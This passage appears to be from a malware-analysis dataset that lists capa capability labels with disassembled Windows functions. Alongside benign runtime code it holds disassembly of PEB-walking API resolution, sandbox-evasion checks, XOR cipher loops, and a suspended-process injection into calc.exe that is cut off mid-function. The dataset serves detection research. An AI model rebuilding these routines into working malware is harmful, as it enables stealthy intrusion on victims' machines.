joyce8/EMBER2024-capa huggingface dataset:
Function at 0x380b01cd0
Capabilities:
Access peb ldr_data

Disassembly:
push rdi
push rsi
mov rsi, rcx
push rbx
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
mov rbx, rdi
mov rcx, qword [rbx + 0x50]
call fcn.380b01c95
mov eax, eax
cmp rax, rsi
jne 0x380b01d04
mov rax, qword [rbx + 0x20]
jmp 0x380b01d15
mov rbx, qword [rbx]
test rbx, rbx
je 0x380b01d11
cmp rdi, rbx
jne 0x380b01cee
or rax, 0xffffffffffffffff
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x380b01d1d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
mov r15, rdx
push r14
push r13
push r12
push rbp
xor ebp, ebp
push rdi
push rsi
push rbx
mov rbx, rcx
sub rsp, 0x28
movsxd rax, dword [rcx + 0x3c]
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
mov r14d, dword [rdi + 0x20]
mov r12d, dword [rdi + 0x1c]
mov r13d, dword [rdi + 0x24]
add r14, rcx
cmp ebp, dword [rdi + 0x18]
jae 0x380b01d88
mov esi, ebp
xor edx, edx
mov ecx, dword [r14 + rsi*4]
add rcx, rbx
call fcn.380b01c50
cmp rax, r15
jne 0x380b01d84
add rsi, rsi
add rsi, rbx
movzx eax, word [rsi + r13]
lea rax, [rbx + rax*4]
mov eax, dword [rax + r12]
add rax, rbx
jmp 0x380b01d88
inc ebp
jmp 0x380b01d52
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x380b023b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.380b02fc0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.McPzVRygpSVedBTqQDXZXmiikY_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.380b02fc0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x380b02420
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x380b08064]
mov rbx, rcx
test esi, esi
jle 0x380b02550
mov rax, qword [0x380b08068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x380b0246b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x380b024f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x380b02450
mov rcx, rbx
call fcn.380b02c80
mov rdi, rax
test rax, rax
je 0x380b02572
mov rax, qword [0x380b08068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.380b02dc0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x380b08068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x380b02557
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x380b024ee
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x380b02500
add dword [0x380b08064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x380b08068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x380b024ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CRpXZpRJCbHqqAAJPTziepgcDlVIOqztGwIIRb
mov edx, eax
call fcn.380b023b0
nop dword [rax]
xor esi, esi
jmp 0x380b02478
mov rax, qword [0x380b08068]
mov edx, dword [rdi + 8]
lea rcx, str.EhOXYNERyRNBBwXxCmZyumxxZqSfZlrzxmzPavHNIzwhxjIf
mov r8, qword [rax + rbx + 0x18]
call fcn.380b023b0
mov rdx, rbx
lea rcx, str.wUmFJNEbqIsbUfLFCvjzdWComKOodaw
call fcn.380b023b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x380b028f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x380b080a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x380b08080]
test rbx, rbx
je 0x380b0294c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x380b02943
test eax, eax
jne 0x380b02943
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x380b02928
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x380b02c80
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x380b05210]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x380b02ca0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x380b02ca8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x380b02ca0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x380b02cfd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x380b02cf4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x380b02ca0
add rax, 0x28
cmp rax, r9
jne 0x380b02ce0
xor eax, eax
ret

Function at 0x380b02d00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x380b05210]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x380b02d1f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x380b02d28
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x380b02d1f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x380b02dc0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x380b05210]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x380b02ddf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x380b02de8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x2fc4d95f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4da6d0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d9ff2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fc108]
test eax, eax
je 0x2fc4da08a
lea rax, [0x2fc4fc0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fc110]
mov qword [rbp - 8], rax
jmp 0x2fc4da06e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4da062
cmp qword [rbp - 0x10], 0
je 0x2fc4da062
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4da028
lea rax, [0x2fc4fc0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4da08b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4da190
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4da1b8
mov eax, 0
jmp 0x2fc4da206
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4da1e1
mov eax, 0
jmp 0x2fc4da206
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4da201
mov eax, 0
jmp 0x2fc4da206
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4da20c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4da28a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4da281
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4da281
mov rax, qword [rbp - 8]
jmp 0x2fc4da29f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4da254
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x40132a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
movabs rax, 0
mov qword [rbp - 8], rax
lea rax, [0x004146c1]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetModuleHandleA
lea rcx, str.VirtualAllocExNuma
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x10], rax
call sub.kernel32.dll_GetCurrentProcess
mov ecx, 0
mov qword [rsp + 0x28], rcx
mov ecx, 0x40
mov qword [rsp + 0x20], rcx
mov ecx, 0x3000
mov r9, rcx
movabs rcx, 0x3e8
mov r8, rcx
movabs rcx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x10]
call r11
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
mov eax, 0
sete al
leave
ret

Function at 0x401335
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
movabs rax, 0
mov qword [rbp - 8], rax
lea rax, [0x004146c1]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetModuleHandleA
lea rcx, str.VirtualAllocExNuma
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x10], rax
call sub.kernel32.dll_GetCurrentProcess
mov ecx, 0
mov qword [rsp + 0x28], rcx
mov ecx, 0x40
mov qword [rsp + 0x20], rcx
mov ecx, 0x3000
mov r9, rcx
movabs rcx, 0x3e8
mov r8, rcx
movabs rcx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x10]
call r11
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
mov eax, 0
sete al
leave
ret

Function at 0x4013d2
Capabilities:
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
lea rax, [0x004146e1]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetModuleHandleA
mov qword [rbp - 0x80], rax
lea rax, str.GlobalMemoryStatusEx
mov r11, rax
mov rax, qword [rbp - 0x80]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x88], rax
mov rax, qword [rbp - 0x88]
cmp rax, 0
je 0x40142c
jmp 0x401448
lea rax, str.Could_not_find_GlobalMemoryStatusEx_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
jmp 0x4014e7
lea rax, [rbp - 0x30]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rbp - 0x10]
mov dword [rbp - 0x74], eax
mov eax, dword [rbp - 0x74]
cmp eax, 2
ja 0x401473
mov eax, 0
jmp 0x4014e7
mov eax, 0x40
mov dword [rbp - 0x70], eax
lea rax, [rbp - 0x70]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x88]
call r11
cmp eax, 0
je 0x40149d
jmp 0x4014b9
lea rax, str.GlobalMemoryStatusEx_failed_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
jmp 0x4014e7
mov rax, qword [rbp - 0x68]
shr rax, 0xa
shr rax, 0xa
shr rax, 0xa
mov dword [rbp - 0x78], eax
mov eax, dword [rbp - 0x78]
cmp eax, 4
ja 0x4014e2
mov eax, 0
jmp 0x4014e7
mov eax, 1
leave
ret
Function at 0x4013dd
Capabilities:
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
lea rax, [0x004146e1]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetModuleHandleA
mov qword [rbp - 0x80], rax
lea rax, str.GlobalMemoryStatusEx
mov r11, rax
mov rax, qword [rbp - 0x80]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x88], rax
mov rax, qword [rbp - 0x88]
cmp rax, 0
je 0x40142c
jmp 0x401448
lea rax, str.Could_not_find_GlobalMemoryStatusEx_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
jmp 0x4014e7
lea rax, [rbp - 0x30]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rbp - 0x10]
mov dword [rbp - 0x74], eax
mov eax, dword [rbp - 0x74]
cmp eax, 2
ja 0x401473
mov eax, 0
jmp 0x4014e7
mov eax, 0x40
mov dword [rbp - 0x70], eax
lea rax, [rbp - 0x70]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x88]
call r11
cmp eax, 0
je 0x40149d
jmp 0x4014b9
lea rax, str.GlobalMemoryStatusEx_failed_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
jmp 0x4014e7
mov rax, qword [rbp - 0x68]
shr rax, 0xa
shr rax, 0xa
shr rax, 0xa
mov dword [rbp - 0x78], eax
mov eax, dword [rbp - 0x78]
cmp eax, 4
ja 0x4014e2
mov eax, 0
jmp 0x4014e7
mov eax, 1
leave
ret
Function at 0x402673
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x40272d
jmp 0x4026b0
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x402692
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x402728
jmp 0x4026d6
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x4026b8
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
add rax, rcx
mov ecx, dword [rbp + 0x10]
shl ecx, 2
shl ecx, 2
movzx edx, byte [rbp - 1]
shl edx, 2
add ecx, edx
movzx edx, byte [rbp - 2]
add ecx, edx
movsxd rcx, ecx
mov rdx, qword [rbp + 0x20]
add rdx, rcx
movzx ecx, byte [rax]
mov qword [rbp - 0x10], rax
movzx eax, byte [rdx]
xor ecx, eax
mov rax, qword [rbp - 0x10]
mov byte [rax], cl
jmp 0x4026ca
jmp 0x4026a4
leave
ret

Function at 0x40267e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x40272d
jmp 0x4026b0
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x402692
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x402728
jmp 0x4026d6
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x4026b8
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
add rax, rcx
mov ecx, dword [rbp + 0x10]
shl ecx, 2
shl ecx, 2
movzx edx, byte [rbp - 1]
shl edx, 2
add ecx, edx
movzx edx, byte [rbp - 2]
add ecx, edx
movsxd rcx, ecx
mov rdx, qword [rbp + 0x20]
add rdx, rcx
movzx ecx, byte [rax]
mov qword [rbp - 0x10], rax
movzx eax, byte [rdx]
xor ecx, eax
mov rax, qword [rbp - 0x10]
mov byte [rax], cl
jmp 0x4026ca
jmp 0x4026a4
leave
ret

Function at 0x40272f
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x4027de
jmp 0x402764
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x402746
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x4027d9
jmp 0x40278a
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x40276c
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, str.cw
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x40277e
jmp 0x402758
leave
ret
Function at 0x40273a
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x4027de
jmp 0x402764
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x402746
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x4027d9
jmp 0x40278a
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x40276c
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, str.cw
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x40277e
jmp 0x402758
leave
ret

Function at 0x403aad
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x403b5c
jmp 0x403ae2
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x403ac4
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x403b57
jmp 0x403b08
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x403aea
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, [0x0041486a]
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x403afc
jmp 0x403ad6
leave
ret

Function at 0x403ab8
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x403b5c
jmp 0x403ae2
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x403ac4
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x403b57
jmp 0x403b08
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x403aea
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, [0x0041486a]
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x403afc
jmp 0x403ad6
leave
ret
Function at 0x403ebc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 0x20
jge 0x403f25
jmp 0x403ef5
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x403ed7
movzx eax, byte [rbp - 1]
movsxd rax, eax
mov rcx, qword [rbp + 0x10]
add rcx, rax
movzx eax, byte [rbp - 1]
movsxd rax, eax
mov rdx, qword [rbp + 0x18]
add rdx, rax
movzx eax, byte [rcx]
mov qword [rbp - 0x10], rcx
movzx ecx, byte [rdx]
xor eax, ecx
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
jmp 0x403ee9
leave
ret

Function at 0x403ec7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 0x20
jge 0x403f25
jmp 0x403ef5
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x403ed7
movzx eax, byte [rbp - 1]
movsxd rax, eax
mov rcx, qword [rbp + 0x10]
add rcx, rax
movzx eax, byte [rbp - 1]
movsxd rax, eax
mov rdx, qword [rbp + 0x18]
add rdx, rax
movzx eax, byte [rcx]
mov qword [rbp - 0x10], rcx
movzx ecx, byte [rdx]
xor eax, ecx
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
jmp 0x403ee9
leave
ret
Function at 0x140001000
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xe0
movups xmm0, xmmword [str.QAPRQ]
xor eax, eax
xor esi, esi
movups xmm1, xmmword [0x140002018]
lea rdx, str.C:WindowsSystem32calc.exe
mov dword [rbp + 0x3b], eax
movaps xmmword [0x140003080], xmm0
xor r9d, r9d
movups xmm0, xmmword [0x140003008]
xor r8d, r8d
mov qword [rbp - 0x39], rax
movaps xmmword [0x140003090], xmm1
lea rax, [rbp - 0x49]
movups xmm1, xmmword [0x140002028]
xor ecx, ecx
mov qword [rsp + 0x48], rax
movaps xmmword [0x1400030a0], xmm0
lea rax, [rbp - 0x29]
movups xmm0, xmmword [str.RAQ_H]
mov qword [rsp + 0x40], rax
movaps xmmword [0x1400030b0], xmm1
movups xmm1, xmmword [0x140002038]
mov qword [rsp + 0x38], rsi
movaps xmmword [0x1400030c0], xmm0
movups xmm0, xmmword [0x140003024]
mov qword [rsp + 0x30], rsi
movaps xmmword [0x1400030d0], xmm1
movups xmm1, xmmword [0x140002048]
mov dword [rsp + 0x28], 4
movaps xmmword [0x1400030e0], xmm0
movups xmm0, xmmword [0x140003028]
mov dword [rbp - 0x29], 0x68
movaps xmmword [0x1400030f0], xmm1
movups xmm1, xmmword [0x140002058]
mov dword [rsp + 0x20], esi
movaps xmmword [0x140003100], xmm0
movups xmm0, xmmword [0x140003038]
movaps xmmword [0x140003110], xmm1
movups xmm1, xmmword [str.AXAXA]
movaps xmmword [0x140003120], xmm0
movups xmm0, xmmword [0x140003050]
movaps xmmword [0x140003130], xmm1
movups xmm1, xmmword [0x140002070]
movaps xmmword [0x140003140], xmm0
movups xmm0, xmmword [0x140003060]
movaps xmmword [0x140003150], xmm1
movups xmm1, xmmword [0x140002080]
movaps xmmword [0x140003160], xmm0
movups xmm0, xmmword [0x140003070]
movaps xmmword [0x140003170], xmm1
movups xmm1, xmmword [0x140002090]
movaps xmmword [0x140003180], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x25], xmm0
movups xmmword [rbp - 0x15], xmm0
movups xmmword [rbp - 5], xmm0
movups xmmword [rbp + 0xb], xmm0
movups xmmword [rbp + 0x1b], xmm0
movups xmmword [rbp + 0x2b], xmm0
movups xmmword [rbp - 0x49], xmm0
movaps xmmword [0x140003190], xmm1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000123d
mov rbx, qword [rbp - 0x49]
mov rdi, qword [rbp - 0x41]
cmp dword [rbp - 0x39], esi
je 0x14000123d
test rbx, rbx
je 0x14000123d
test rdi, rdi
je 0x14000123d
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x77]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x6f]
mov qword [rbp + 0x77], 0x120
mov rcx, rbx
mov qword [rbp + 0x6f], rsi
mov dword [rbp + 0x67], esi
call fcn.140001260
mov rdx, qword [rbp + 0x6f]
test rdx, rdx
je 0x14000123d
mov r9, qword [rbp + 0x77]
lea r8, [0x140003080]
mov rcx, rbx
